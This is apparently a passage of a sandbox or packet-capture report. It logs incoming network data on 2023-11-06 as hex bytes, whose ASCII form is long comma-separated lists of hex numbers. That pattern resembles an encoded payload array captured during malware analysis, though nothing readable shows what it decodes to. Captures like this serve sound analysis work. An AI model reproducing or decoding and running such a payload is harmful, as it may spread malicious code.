2023-11-06 14:35:15 UTC	179	IN	Data Raw: 31 34 39 2c 31 32 64 2c 31 30 31 2c 31 30 30 2c 31 36 30 2c 31 33 34 2c 31 33 36 2c 66 61 2c 38 66 2c 31 35 63 2c 31 33 64 2c 31 33 64 2c 31 33 34 2c 38 61 2c 31 34 62 2c 31 35 38 2c 31 34 39 2c 31 30 31 2c 64 33 2c 31 36 35 2c 31 34 62 2c 31 35 38 2c 31 31 63 2c 39 64 2c 65 37 2c 62 32 2c 62 39 2c 31 30 37 2c 31 34 32 2c 31 32 63 2c 31 34 32 2c 31 35 36 2c 31 34 39 2c 31 30 63 2c 61 62 2c 63 61 2c 31 36 31 2c 31 33 34 2c 31 33 36 2c 62 33 2c 64 65 2c 31 35 64 2c 31 33 64 2c 31 33 39 2c 31 33 34 2c 62 39 2c 31 34 39 2c 31 35 38 2c 31 34 64 2c 31 32 39 2c 31 30 62 2c 31 31 37 2c 31 34 62 2c 31 35 61 2c 31 31 34 2c 64 31 2c 31 33 32 2c 31 32 35 2c 31 31 64 2c 31 30 61 2c 39 33 2c 31 35 33 2c 31 34 36 2c 31 35 30 2c 64 61 2c 66 39 2c 31 32 37 2c 31 32 61 2c Data Ascii: 149,12d,101,100,160,134,136,fa,8f,15c,13d,13d,134,8a,14b,158,149,101,d3,165,14b,158,11c,9d,e7,b2,b9,107,142,12c,142,156,149,10c,ab,ca,161,134,136,b3,de,15d,13d,139,134,b9,149,158,14d,129,10b,117,14b,15a,114,d1,132,125,11d,10a,93,153,146,150,da,f9,127,12a,
2023-11-06 14:35:15 UTC	183	IN	Data Raw: 64 2c 31 35 62 2c 31 33 61 2c 63 36 2c 31 36 61 2c 31 34 35 2c 31 34 62 2c 31 35 34 2c 31 32 39 2c 31 30 62 2c 31 33 33 2c 65 61 2c 31 35 38 2c 31 35 65 2c 31 33 63 2c 31 36 34 2c 31 30 61 2c 31 30 33 2c 31 32 31 2c 31 32 66 2c 63 35 2c 31 36 31 2c 31 34 36 2c 31 35 36 2c 31 34 35 2c 31 30 64 2c 31 30 62 2c 31 32 38 2c 65 36 2c 31 34 30 2c 31 34 30 2c 31 32 32 2c 31 33 62 2c 31 33 33 2c 31 31 62 2c 31 34 31 2c 31 35 39 2c 63 38 2c 31 35 37 2c 31 35 38 2c 31 35 33 2c 31 32 35 2c 31 30 62 2c 31 34 37 2c 31 34 39 2c 65 33 2c 31 34 37 2c 31 36 38 2c 31 33 34 2c 31 32 31 2c 66 39 2c 31 31 30 2c 31 34 30 2c 31 35 31 2c 63 39 2c 31 36 31 2c 31 34 39 2c 31 33 37 2c 31 32 35 2c 31 30 30 2c 31 34 33 2c 31 33 32 2c 63 35 2c 31 32 63 2c 31 33 66 2c 31 35 64 2c 31 33 Data Ascii: d,15b,13a,c6,16a,145,14b,154,129,10b,133,ea,158,15e,13c,164,10a,103,121,12f,c5,161,146,156,145,10d,10b,128,e6,140,140,122,13b,133,11b,141,159,c8,157,158,153,125,10b,147,149,e3,147,168,134,121,f9,110,140,151,c9,161,149,137,125,100,143,132,c5,12c,13f,15d,13
2023-11-06 14:35:15 UTC	187	IN	Data Raw: 39 2c 31 32 62 2c 31 35 36 2c 31 34 61 2c 31 33 36 2c 31 31 37 2c 31 36 36 2c 31 33 34 2c 31 31 62 2c 31 31 34 2c 31 33 31 2c 31 31 61 2c 31 33 30 2c 31 34 34 2c 31 35 36 2c 31 33 66 2c 31 32 38 2c 31 32 37 2c 31 30 32 2c 39 37 2c 31 33 33 2c 31 34 30 2c 31 31 38 2c 65 37 2c 31 34 65 2c 31 33 63 2c 31 31 62 2c 31 33 37 2c 31 34 33 2c 31 34 62 2c 31 34 65 2c 31 34 34 2c 31 32 37 2c 31 30 64 2c 39 61 2c 31 34 61 2c 31 35 65 2c 31 33 32 2c 31 31 30 2c 31 30 63 2c 37 30 2c 31 32 31 2c 31 33 32 2c 31 33 63 2c 31 35 34 2c 31 34 36 2c 31 32 63 2c 62 33 2c 31 33 35 2c 31 31 61 2c 31 32 39 2c 31 33 39 2c 31 30 65 2c 31 33 65 2c 31 32 32 2c 31 33 35 2c 31 34 65 2c 31 33 63 2c 31 31 62 2c 31 33 35 2c 31 34 33 2c 31 34 62 2c 31 34 65 2c 31 34 34 2c 31 32 38 2c 31 30 Data Ascii: 9,12b,156,14a,136,117,166,134,11b,114,131,11a,130,144,156,13f,128,127,102,97,133,140,118,e7,14e,13c,11b,137,143,14b,14e,144,127,10d,9a,14a,15e,132,110,10c,70,121,132,13c,154,146,12c,b3,135,11a,129,139,10e,13e,122,135,14e,13c,11b,135,143,14b,14e,144,128,10
2023-11-06 14:35:15 UTC	191	IN	Data Raw: 31 34 34 2c 31 35 33 2c 31 32 31 2c 31 32 38 2c 31 32 39 2c 31 32 61 2c 31 35 37 2c 31 33 34 2c 31 33 65 2c 66 61 2c 66 33 2c 31 35 62 2c 31 33 64 2c 31 33 39 2c 31 33 36 2c 31 34 33 2c 31 32 33 2c 31 31 39 2c 31 35 31 2c 31 32 39 2c 31 32 62 2c 31 36 35 2c 31 32 31 2c 63 30 2c 31 33 63 2c 31 36 36 2c 31 30 63 2c 31 30 62 2c 31 32 33 2c 31 33 32 2c 31 33 38 2c 31 35 34 2c 31 34 34 2c 31 35 34 2c 31 32 31 2c 61 62 2c 31 32 37 2c 31 32 61 2c 31 35 37 2c 63 35 2c 66 32 2c 31 32 30 2c 31 33 66 2c 31 35 33 2c 31 31 64 2c 62 38 2c 31 35 63 2c 31 34 35 2c 31 34 62 2c 66 66 2c 31 33 64 2c 62 36 2c 63 36 2c 31 36 34 2c 31 34 62 2c 31 35 34 2c 31 31 34 2c 66 38 2c 31 33 33 2c 31 32 35 2c 31 31 39 2c 31 33 32 2c 31 31 38 2c 31 30 65 2c 31 34 36 2c 31 35 34 2c 31 34 Data Ascii: 144,153,121,128,129,12a,157,134,13e,fa,f3,15b,13d,139,136,143,123,119,151,129,12b,165,121,c0,13c,166,10c,10b,123,132,138,154,144,154,121,ab,127,12a,157,c5,f2,120,13f,153,11d,b8,15c,145,14b,ff,13d,b6,c6,164,14b,154,114,f8,133,125,119,132,118,10e,146,154,14
2023-11-06 14:35:15 UTC	195	IN	Data Raw: 62 2c 31 33 37 2c 31 33 31 2c 64 33 2c 35 37 2c 38 65 2c 31 35 39 2c 31 32 33 2c 31 33 36 2c 39 33 2c 63 38 2c 31 35 64 2c 31 33 64 2c 31 34 32 2c 31 33 37 2c 66 61 2c 31 33 61 2c 31 34 64 2c 66 32 2c 64 35 2c 31 32 34 2c 31 35 62 2c 31 33 34 2c 31 30 36 2c 31 32 39 2c 31 35 65 2c 31 32 33 2c 31 31 62 2c 31 30 34 2c 31 32 32 2c 31 31 30 2c 62 31 2c 31 33 35 2c 31 35 32 2c 31 32 61 2c 31 32 37 2c 64 31 2c 31 31 37 2c 31 35 64 2c 31 32 33 2c 31 33 63 2c 62 38 2c 31 33 39 2c 65 66 2c 66 65 2c 61 38 2c 31 35 65 2c 31 34 36 2c 31 34 63 2c 31 34 37 2c 31 34 63 2c 31 30 31 2c 31 33 33 2c 31 36 35 2c 31 34 62 2c 31 35 38 2c 62 63 2c 31 36 37 2c 31 33 34 2c 31 32 35 2c 31 31 66 2c 31 30 37 2c 31 34 32 2c 31 32 61 2c 31 33 33 2c 31 32 36 2c 31 34 33 2c 31 33 37 2c Data Ascii: b,137,131,d3,57,8e,159,123,136,93,c8,15d,13d,142,137,fa,13a,14d,f2,d5,124,15b,134,106,129,15e,123,11b,104,122,110,b1,135,152,12a,127,d1,117,15d,123,13c,b8,139,ef,fe,a8,15e,146,14c,147,14c,101,133,165,14b,158,bc,167,134,125,11f,107,142,12a,133,126,143,137,
2023-11-06 14:35:15 UTC	199	IN	Data Raw: 2c 31 34 62 2c 31 33 36 2c 31 32 34 2c 31 32 31 2c 31 33 66 2c 31 35 64 2c 31 32 32 2c 31 31 62 2c 31 30 39 2c 31 34 35 2c 31 34 62 2c 31 34 65 2c 31 34 61 2c 31 31 33 2c 39 32 2c 31 36 34 2c 31 34 62 2c 31 35 65 2c 31 32 31 2c 31 35 64 2c 66 63 2c 38 30 2c 31 32 33 2c 31 33 32 2c 31 34 32 2c 31 34 65 2c 31 32 66 2c 31 31 36 2c 62 33 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 65 33 2c 31 33 33 2c 31 34 30 2c 31 32 32 2c 31 33 62 2c 31 35 62 2c 61 63 2c 63 35 2c 31 35 62 2c 31 34 35 2c 31 34 62 2c 31 35 34 2c 31 35 31 2c 31 31 32 2c 64 64 2c 64 34 2c 31 32 64 2c 66 63 2c 64 63 2c 65 61 2c 31 33 33 2c 31 32 35 2c 31 32 33 2c 31 32 65 2c 31 34 30 2c 31 33 63 2c 65 65 2c 63 35 2c 31 32 61 2c 31 32 37 2c 63 37 2c 63 61 2c 65 33 2c 31 33 33 2c 31 34 30 2c 31 32 32 Data Ascii: ,14b,136,124,121,13f,15d,122,11b,109,145,14b,14e,14a,113,92,164,14b,15e,121,15d,fc,80,123,132,142,14e,12f,116,b3,137,129,12a,e3,133,140,122,13b,15b,ac,c5,15b,145,14b,154,151,112,dd,d4,12d,fc,dc,ea,133,125,123,12e,140,13c,ee,c5,12a,127,c7,ca,e3,133,140,122
2023-11-06 14:35:15 UTC	203	IN	Data Raw: 30 66 2c 66 64 2c 64 62 2c 63 33 2c 31 31 66 2c 31 33 66 2c 31 35 64 2c 31 33 39 2c 31 34 30 2c 65 31 2c 31 33 65 2c 31 34 62 2c 31 35 38 2c 31 34 66 2c 31 30 39 2c 31 33 35 2c 31 36 35 2c 31 34 62 2c 31 35 64 2c 31 30 38 2c 31 33 66 2c 31 33 31 2c 31 32 32 2c 61 38 2c 31 32 63 2c 31 34 32 2c 31 35 34 2c 31 34 32 2c 31 33 38 2c 65 37 2c 31 33 34 2c 61 65 2c 31 32 32 2c 31 36 31 2c 31 33 34 2c 31 33 63 2c 62 33 2c 65 38 2c 31 35 64 2c 31 33 64 2c 31 33 39 2c 38 61 2c 65 35 2c 63 65 2c 31 35 32 2c 31 35 33 2c 31 32 39 2c 31 33 31 2c 31 36 32 2c 31 32 36 2c 65 33 2c 31 33 35 2c 31 36 38 2c 31 33 34 2c 31 32 31 2c 31 30 35 2c 64 30 2c 63 35 2c 31 34 64 2c 31 34 36 2c 31 35 36 2c 31 34 35 2c 31 32 30 2c 66 66 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 32 64 2c Data Ascii: 0f,fd,db,c3,11f,13f,15d,139,140,e1,13e,14b,158,14f,109,135,165,14b,15d,108,13f,131,122,a8,12c,142,154,142,138,e7,134,ae,122,161,134,13c,b3,e8,15d,13d,139,8a,e5,ce,152,153,129,131,162,126,e3,135,168,134,121,105,d0,c5,14d,146,156,145,120,ff,12a,161,134,12d,
2023-11-06 14:35:15 UTC	207	IN	Data Raw: 61 37 2c 31 33 35 2c 31 35 64 2c 31 33 64 2c 31 33 66 2c 31 35 34 2c 62 36 2c 31 34 39 2c 31 35 38 2c 31 35 33 2c 31 32 37 2c 31 30 64 2c 31 35 64 2c 31 34 62 2c 31 35 65 2c 31 33 36 2c 31 36 31 2c 31 31 64 2c 63 64 2c 31 31 38 2c 31 32 62 2c 31 34 30 2c 64 39 2c 31 32 63 2c 31 35 36 2c 31 34 39 2c 31 33 33 2c 66 33 2c 35 66 2c 31 35 66 2c 62 39 2c 31 33 35 2c 31 32 32 2c 31 33 66 2c 31 35 39 2c 31 33 37 2c 62 34 2c 31 35 61 2c 31 34 35 2c 31 34 62 2c 31 35 36 2c 31 32 62 2c 31 32 31 2c 31 33 35 2c 31 36 35 2c 31 34 35 2c 31 35 63 2c 63 31 2c 31 35 63 2c 31 33 34 2c 31 32 35 2c 31 31 66 2c 31 32 63 2c 62 33 2c 31 35 32 2c 31 34 36 2c 31 35 36 2c 31 34 37 2c 31 30 66 2c 31 32 31 2c 31 32 61 2c 31 36 31 2c 31 32 65 2c 31 33 65 2c 61 37 2c 31 33 32 2c 31 35 Data Ascii: a7,135,15d,13d,13f,154,b6,149,158,153,127,10d,15d,14b,15e,136,161,11d,cd,118,12b,140,d9,12c,156,149,133,f3,5f,15f,b9,135,122,13f,159,137,b4,15a,145,14b,156,12b,121,135,165,145,15c,c1,15c,134,125,11f,12c,b3,152,146,156,147,10f,121,12a,161,12e,13e,a7,132,15
2023-11-06 14:35:15 UTC	211	IN	Data Raw: 2c 31 30 36 2c 31 32 39 2c 31 36 34 2c 31 32 33 2c 31 32 31 2c 31 30 39 2c 31 30 30 2c 35 65 2c 31 35 32 2c 31 33 64 2c 31 32 65 2c 31 33 34 2c 31 33 37 2c 31 32 39 2c 31 32 34 2c 31 35 66 2c 31 32 64 2c 31 33 61 2c 66 61 2c 31 32 39 2c 31 35 64 2c 31 33 64 2c 31 33 64 2c 31 35 61 2c 31 33 64 2c 31 32 33 2c 31 34 31 2c 31 35 33 2c 31 32 39 2c 31 32 66 2c 31 33 62 2c 31 34 62 2c 31 35 65 2c 31 32 39 2c 31 33 38 2c 31 33 31 2c 31 32 35 2c 65 36 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 32 2c 31 35 36 2c 31 34 39 2c 31 32 36 2c 31 32 37 2c 61 66 2c 31 34 31 2c 31 33 34 2c 31 34 30 2c 31 31 65 2c 31 33 35 2c 31 33 32 2c 31 31 35 2c 31 34 31 2c 65 31 2c 31 32 61 2c 31 34 62 2c 31 35 38 2c 31 34 66 2c 31 32 33 2c 31 31 63 2c 66 32 2c 31 34 31 2c 31 35 65 2c Data Ascii: ,106,129,164,123,121,109,100,5e,152,13d,12e,134,137,129,124,15f,12d,13a,fa,129,15d,13d,13d,15a,13d,123,141,153,129,12f,13b,14b,15e,129,138,131,125,e6,132,142,154,142,156,149,126,127,af,141,134,140,11e,135,132,115,141,e1,12a,14b,158,14f,123,11c,f2,141,15e,
2023-11-06 14:35:15 UTC	227	IN	Data Raw: 31 2c 31 34 32 2c 31 35 34 2c 31 30 38 2c 31 35 35 2c 31 34 39 2c 31 33 37 2c 31 32 33 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 33 35 2c 31 32 32 2c 31 33 66 2c 31 35 63 2c 31 33 64 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 34 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 66 35 2c 31 36 34 2c 31 34 62 2c 31 35 65 2c 66 35 2c 31 36 37 2c 31 33 34 2c 31 32 35 2c 31 31 64 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 33 62 2c 31 35 36 2c 31 34 39 2c 31 33 36 2c 31 30 65 2c 66 61 2c 31 35 63 2c 31 33 34 2c 66 35 2c 31 32 31 2c 31 33 66 2c 31 35 64 2c 31 32 63 2c 31 34 33 2c 31 35 63 2c 31 33 34 2c 31 34 62 2c 65 35 2c 63 65 2c 31 32 39 2c 31 33 35 2c 31 35 62 2c 31 34 31 2c 31 35 65 2c 31 33 61 2c 31 34 38 2c 31 32 33 2c 37 65 2c 31 30 64 2c 64 34 2c 31 31 61 2c 31 Data Ascii: 1,142,154,108,155,149,137,123,12a,161,134,135,122,13f,15c,13d,143,15c,145,144,158,153,129,f5,164,14b,15e,f5,167,134,125,11d,132,142,154,13b,156,149,136,10e,fa,15c,134,f5,121,13f,15d,12c,143,15c,134,14b,e5,ce,129,135,15b,141,15e,13a,148,123,7e,10d,d4,11a,1
2023-11-06 14:35:15 UTC	239	IN	Data Raw: 62 36 2c 62 33 2c 31 33 31 2c 31 34 32 2c 31 34 65 2c 64 37 2c 63 61 2c 31 34 39 2c 31 33 37 2c 31 31 66 2c 62 62 2c 37 66 2c 31 33 33 2c 31 34 30 2c 31 31 63 2c 31 33 66 2c 31 33 38 2c 31 33 35 2c 31 33 32 2c 31 35 37 2c 31 32 63 2c 64 63 2c 65 38 2c 31 35 32 2c 31 32 39 2c 31 32 66 2c 66 36 2c 36 37 2c 31 35 64 2c 31 33 63 2c 31 36 32 2c 31 33 34 2c 31 31 32 2c 31 31 64 2c 31 33 32 2c 36 34 2c 31 34 66 2c 31 32 30 2c 31 35 36 2c 31 34 39 2c 35 39 2c 31 32 39 2c 31 31 39 2c 31 35 62 2c 31 32 30 2c 31 34 32 2c 31 31 66 2c 31 32 63 2c 31 35 36 2c 31 32 63 2c 31 33 63 2c 31 33 30 2c 31 33 61 2c 31 34 62 2c 31 35 32 2c 31 34 32 2c 31 32 33 2c 63 36 2c 64 32 2c 31 34 62 2c 31 35 65 2c 31 33 32 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 31 32 2c 31 32 64 2c 31 Data Ascii: b6,b3,131,142,14e,d7,ca,149,137,11f,bb,7f,133,140,11c,13f,138,135,132,157,12c,dc,e8,152,129,12f,f6,67,15d,13c,162,134,112,11d,132,64,14f,120,156,149,59,129,119,15b,120,142,11f,12c,156,12c,13c,130,13a,14b,152,142,123,c6,d2,14b,15e,132,168,134,125,112,12d,1
2023-11-06 14:35:15 UTC	255	IN	Data Raw: 35 65 2c 31 33 36 2c 31 36 38 2c 31 33 32 2c 61 61 2c 65 38 2c 31 33 32 2c 31 34 32 2c 31 35 30 2c 31 32 66 2c 62 63 2c 31 34 31 2c 31 32 65 2c 38 37 2c 31 32 61 2c 31 35 39 2c 31 31 64 2c 64 64 2c 31 31 36 2c 31 33 37 2c 31 34 36 2c 31 33 66 2c 31 33 66 2c 31 34 36 2c 31 34 37 2c 31 34 61 2c 31 34 35 2c 31 34 66 2c 31 31 38 2c 31 33 31 2c 31 33 38 2c 38 37 2c 31 35 63 2c 63 31 2c 31 32 64 2c 31 33 34 2c 31 32 35 2c 31 31 66 2c 31 31 62 2c 61 38 2c 31 33 64 2c 61 63 2c 65 37 2c 37 33 2c 31 33 37 2c 31 32 39 2c 31 32 30 2c 65 64 2c 31 31 36 2c 31 34 30 2c 31 32 32 2c 31 32 34 2c 31 35 33 2c 31 33 37 2c 31 31 62 2c 63 64 2c 31 34 35 2c 31 34 62 2c 31 35 32 2c 31 35 33 2c 31 32 37 2c 62 61 2c 31 32 61 2c 31 34 62 2c 31 35 65 2c 31 33 38 2c 31 35 32 2c 39 61 Data Ascii: 5e,136,168,132,aa,e8,132,142,150,12f,bc,141,12e,87,12a,159,11d,dd,116,137,146,13f,13f,146,147,14a,145,14f,118,131,138,87,15c,c1,12d,134,125,11f,11b,a8,13d,ac,e7,73,137,129,120,ed,116,140,122,124,153,137,11b,cd,145,14b,152,153,127,ba,12a,14b,15e,138,152,9a
2023-11-06 14:35:15 UTC	271	IN	Data Raw: 31 2c 31 33 39 2c 35 33 2c 31 34 30 2c 31 32 32 2c 31 33 35 2c 66 63 2c 31 32 61 2c 31 33 66 2c 31 35 61 2c 63 37 2c 66 61 2c 31 35 38 2c 31 35 33 2c 31 32 35 2c 31 32 65 2c 31 34 35 2c 31 34 63 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 64 35 2c 39 30 2c 61 35 2c 65 30 2c 31 34 32 2c 31 35 34 2c 31 34 32 2c 31 34 65 2c 31 32 62 2c 64 33 2c 31 30 39 2c 31 32 62 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 63 33 2c 61 61 2c 66 63 2c 62 66 2c 66 30 2c 31 35 63 2c 31 34 35 2c 31 34 37 2c 31 34 66 2c 31 33 34 2c 31 31 39 2c 64 31 2c 31 34 35 2c 31 34 63 2c 31 35 65 2c 31 33 63 2c 31 36 38 2c 64 35 2c 39 30 2c 63 32 2c 62 34 2c 65 65 2c 31 35 34 2c 31 34 36 2c 31 35 32 2c 31 33 38 2c 31 33 33 2c 31 30 61 2c 31 31 32 2c 66 64 2c 39 66 2c 64 66 2c 31 31 66 2c 31 33 39 2c Data Ascii: 1,139,53,140,122,135,fc,12a,13f,15a,c7,fa,158,153,125,12e,145,14c,15e,13c,168,d5,90,a5,e0,142,154,142,14e,12b,d3,109,12b,161,134,140,c3,aa,fc,bf,f0,15c,145,147,14f,134,119,d1,145,14c,15e,13c,168,d5,90,c2,b4,ee,154,146,152,138,133,10a,112,fd,9f,df,11f,139,
2023-11-06 14:35:15 UTC	287	IN	Data Raw: 65 2c 31 35 32 2c 31 34 36 2c 31 35 30 2c 31 33 66 2c 35 39 2c 31 32 33 2c 31 31 66 2c 31 36 31 2c 31 31 65 2c 31 33 36 2c 34 34 2c 31 33 66 2c 31 35 37 2c 31 31 33 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 34 61 2c 31 34 38 2c 31 35 33 2c 31 32 39 2c 31 33 35 2c 31 36 35 2c 31 34 61 2c 31 35 65 2c 31 32 63 2c 31 35 37 2c 31 33 34 2c 31 31 66 2c 31 31 38 2c 31 33 32 2c 31 34 32 2c 31 35 33 2c 31 32 62 2c 31 32 36 2c 31 34 37 2c 31 33 37 2c 31 31 30 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 66 62 2c 31 32 32 2c 31 33 66 2c 31 34 63 2c 31 33 64 2c 31 34 33 2c 31 35 61 2c 63 61 2c 65 33 2c 31 35 38 2c 31 35 33 2c 31 32 35 2c 31 33 32 2c 66 36 2c 64 64 2c 31 35 63 2c 31 33 63 2c 31 36 32 2c 31 32 61 2c 34 37 2c 31 31 64 2c 31 32 37 2c 31 34 32 2c 31 33 65 2c 31 Data Ascii: e,152,146,150,13f,59,123,11f,161,11e,136,44,13f,157,113,143,15c,145,14a,148,153,129,135,165,14a,15e,12c,157,134,11f,118,132,142,153,12b,126,147,137,110,12a,161,134,fb,122,13f,14c,13d,143,15a,ca,e3,158,153,125,132,f6,dd,15c,13c,162,12a,47,11d,127,142,13e,1
2023-11-06 14:35:15 UTC	303	IN	Data Raw: 33 62 2c 31 36 38 2c 31 32 65 2c 38 33 2c 66 65 2c 31 31 33 2c 31 33 34 2c 31 34 30 2c 31 34 38 2c 31 35 30 2c 31 31 39 2c 31 33 36 2c 31 32 39 2c 31 32 34 2c 65 65 2c 66 38 2c 31 33 66 2c 31 32 32 2c 31 33 39 2c 62 62 2c 31 31 35 2c 31 30 32 2c 31 35 62 2c 31 34 35 2c 31 34 35 2c 31 35 38 2c 31 33 37 2c 39 63 2c 31 30 38 2c 31 36 35 2c 31 34 62 2c 31 35 63 2c 31 31 37 2c 31 35 32 2c 31 32 30 2c 31 32 37 2c 31 31 64 2c 31 30 39 2c 31 34 31 2c 31 35 34 2c 31 34 30 2c 65 33 2c 31 30 64 2c 31 33 36 2c 31 32 39 2c 31 32 34 2c 62 66 2c 31 30 66 2c 31 32 39 2c 31 30 65 2c 31 34 31 2c 31 35 37 2c 31 31 36 2c 31 34 32 2c 31 35 63 2c 31 33 66 2c 64 38 2c 31 31 63 2c 31 35 32 2c 31 32 39 2c 31 32 66 2c 63 33 2c 31 32 36 2c 31 34 36 2c 31 32 38 2c 31 36 61 2c 31 32 Data Ascii: 3b,168,12e,83,fe,113,134,140,148,150,119,136,129,124,ee,f8,13f,122,139,bb,115,102,15b,145,145,158,137,9c,108,165,14b,15c,117,152,120,127,11d,109,141,154,140,e3,10d,136,129,124,bf,10f,129,10e,141,157,116,142,15c,13f,d8,11c,152,129,12f,c3,126,146,128,16a,12
2023-11-06 14:35:15 UTC	319	IN	Data Raw: 62 2c 31 34 65 2c 31 31 39 2c 66 32 2c 31 33 36 2c 31 36 36 2c 31 34 63 2c 38 30 2c 31 32 66 2c 31 35 37 2c 31 31 66 2c 66 39 2c 31 31 62 2c 31 32 31 2c 31 32 64 2c 65 35 2c 31 34 33 2c 31 35 36 2c 31 34 39 2c 31 32 64 2c 31 32 39 2c 34 65 2c 31 36 31 2c 31 33 34 2c 31 34 30 2c 34 34 2c 31 33 39 2c 31 34 61 2c 31 32 32 2c 31 34 33 2c 31 35 63 2c 36 37 2c 31 34 62 2c 31 35 38 2c 31 34 62 2c 62 61 2c 61 64 2c 31 36 35 2c 31 34 62 2c 31 35 34 2c 31 30 32 2c 31 37 35 2c 31 33 38 2c 31 32 36 2c 31 32 34 2c 35 34 2c 31 33 37 2c 31 34 63 2c 31 31 61 2c 31 34 66 2c 31 34 31 2c 63 38 2c 31 32 36 2c 31 32 61 2c 31 36 31 2c 31 32 61 2c 31 34 30 2c 34 36 2c 31 33 66 2c 37 66 2c 31 33 38 2c 31 31 64 2c 31 35 63 2c 31 34 35 2c 36 64 2c 31 35 38 2c 31 34 64 2c 31 31 36 Data Ascii: b,14e,119,f2,136,166,14c,80,12f,157,11f,f9,11b,121,12d,e5,143,156,149,12d,129,4e,161,134,140,44,139,14a,122,143,15c,67,14b,158,14b,ba,ad,165,14b,154,102,175,138,126,124,54,137,14c,11a,14f,141,c8,126,12a,161,12a,140,46,13f,7f,138,11d,15c,145,6d,158,14d,116
2023-11-06 14:35:16 UTC	335	IN	Data Raw: 66 2c 31 35 63 2c 31 33 62 2c 31 34 33 2c 31 35 63 2c 31 34 35 2c 31 32 37 2c 31 35 38 2c 31 35 33 2c 31 32 39 2c 36 32 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 34 35 2c 31 36 38 2c 31 33 34 2c 31 32 35 2c 31 31 34 2c 31 33 32 2c 31 34 32 2c 31 35 34 2c 31 34 36 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 31 2c 31 33 34 2c 31 32 62 2c 31 32 32 2c 31 33 66 2c 31 35 64 2c 65 64 2c 31 34 32 2c 31 35 63 2c 31 34 35 2c 65 36 2c 31 35 37 2c 31 35 33 2c 31 32 39 2c 31 33 30 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 31 33 39 2c 31 36 38 2c 31 33 34 2c 31 32 34 2c 31 30 38 2c 31 30 32 2c 31 34 30 2c 31 35 34 2c 31 30 31 2c 31 35 36 2c 31 34 39 2c 31 33 37 2c 63 34 2c 31 32 61 2c 31 36 31 2c 31 32 33 2c 31 34 30 2c 31 32 32 2c 31 33 63 2c 65 Data Ascii: f,15c,13b,143,15c,145,127,158,153,129,62,165,14b,15e,145,168,134,125,114,132,142,154,146,156,149,137,129,12a,161,134,12b,122,13f,15d,ed,142,15c,145,e6,157,153,129,130,165,14b,15e,139,168,134,124,108,102,140,154,101,156,149,137,c4,12a,161,123,140,122,13c,e
2023-11-06 14:35:16 UTC	351	IN	Data Raw: 61 36 2c 66 36 2c 31 34 62 2c 31 35 65 2c 31 33 61 2c 65 64 2c 31 30 38 2c 31 32 34 2c 31 32 33 2c 31 32 65 2c 31 32 33 2c 31 34 62 2c 64 63 2c 31 35 38 2c 31 34 37 2c 31 32 34 2c 31 31 32 2c 31 31 39 2c 31 34 61 2c 66 62 2c 39 36 2c 31 32 31 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 33 32 2c 31 34 65 2c 31 33 34 2c 31 33 35 2c 63 39 2c 65 34 2c 31 32 39 2c 31 33 35 2c 31 36 33 2c 64 30 2c 31 33 32 2c 31 33 62 2c 31 36 38 2c 31 33 30 2c 66 64 2c 61 65 2c 31 33 31 2c 31 34 32 2c 31 34 65 2c 31 33 30 2c 31 35 38 2c 31 34 38 2c 31 32 34 2c 31 31 31 2c 31 31 39 2c 31 34 39 2c 66 62 2c 31 31 65 2c 31 32 31 2c 31 33 66 2c 31 35 64 2c 31 33 64 2c 31 34 31 2c 65 31 2c 63 36 2c 31 34 62 2c 31 35 38 2c 31 34 66 2c 31 31 32 2c 63 62 2c 31 36 37 2c 31 34 61 2c 31 34 Data Ascii: a6,f6,14b,15e,13a,ed,108,124,123,12e,123,14b,dc,158,147,124,112,119,14a,fb,96,121,13f,15d,13d,132,14e,134,135,c9,e4,129,135,163,d0,132,13b,168,130,fd,ae,131,142,14e,130,158,148,124,111,119,149,fb,11e,121,13f,15d,13d,141,e1,c6,14b,158,14f,112,cb,167,14a,14
2023-11-06 14:35:16 UTC	367	IN	Data Raw: 31 34 62 2c 31 34 65 2c 31 34 38 2c 31 31 37 2c 31 33 34 2c 31 33 64 2c 38 32 2c 31 35 64 2c 31 33 63 2c 31 35 65 2c 31 32 61 2c 34 37 2c 31 32 33 2c 31 32 63 2c 31 31 38 2c 31 35 34 2c 31 34 35 2c 31 34 36 2c 31 34 39 2c 31 33 37 2c 31 32 39 2c 31 32 61 2c 31 36 30 2c 31 33 34 2c 31 32 62 2c 31 30 63 2c 31 33 66 2c 31 34 36 2c 31 33 61 2c 31 34 33 2c 31 35 63 2c 31 34 34 2c 31 33 30 2c 31 32 38 2c 31 34 66 2c 31 32 39 2c 62 36 2c 31 36 35 2c 31 34 62 2c 31 35 65 2c 62 65 2c 31 36 38 2c 31 33 34 2c 31 31 34 2c 31 32 33 2c 31 33 32 2c 31 33 30 2c 31 35 34 2c 31 31 65 2c 39 31 2c 31 34 38 2c 31 33 37 2c 31 31 66 2c 63 31 2c 31 33 39 2c 36 65 2c 31 33 66 2c 31 32 32 2c 31 33 35 2c 66 34 2c 31 31 35 2c 64 31 2c 31 35 62 2c 31 34 35 2c 31 34 31 2c 31 34 36 2c Data Ascii: 14b,14e,148,117,134,13d,82,15d,13c,15e,12a,47,123,12c,118,154,145,146,149,137,129,12a,160,134,12b,10c,13f,146,13a,143,15c,144,130,128,14f,129,b6,165,14b,15e,be,168,134,114,123,132,130,154,11e,91,148,137,11f,c1,139,6e,13f,122,135,f4,115,d1,15b,145,141,146,
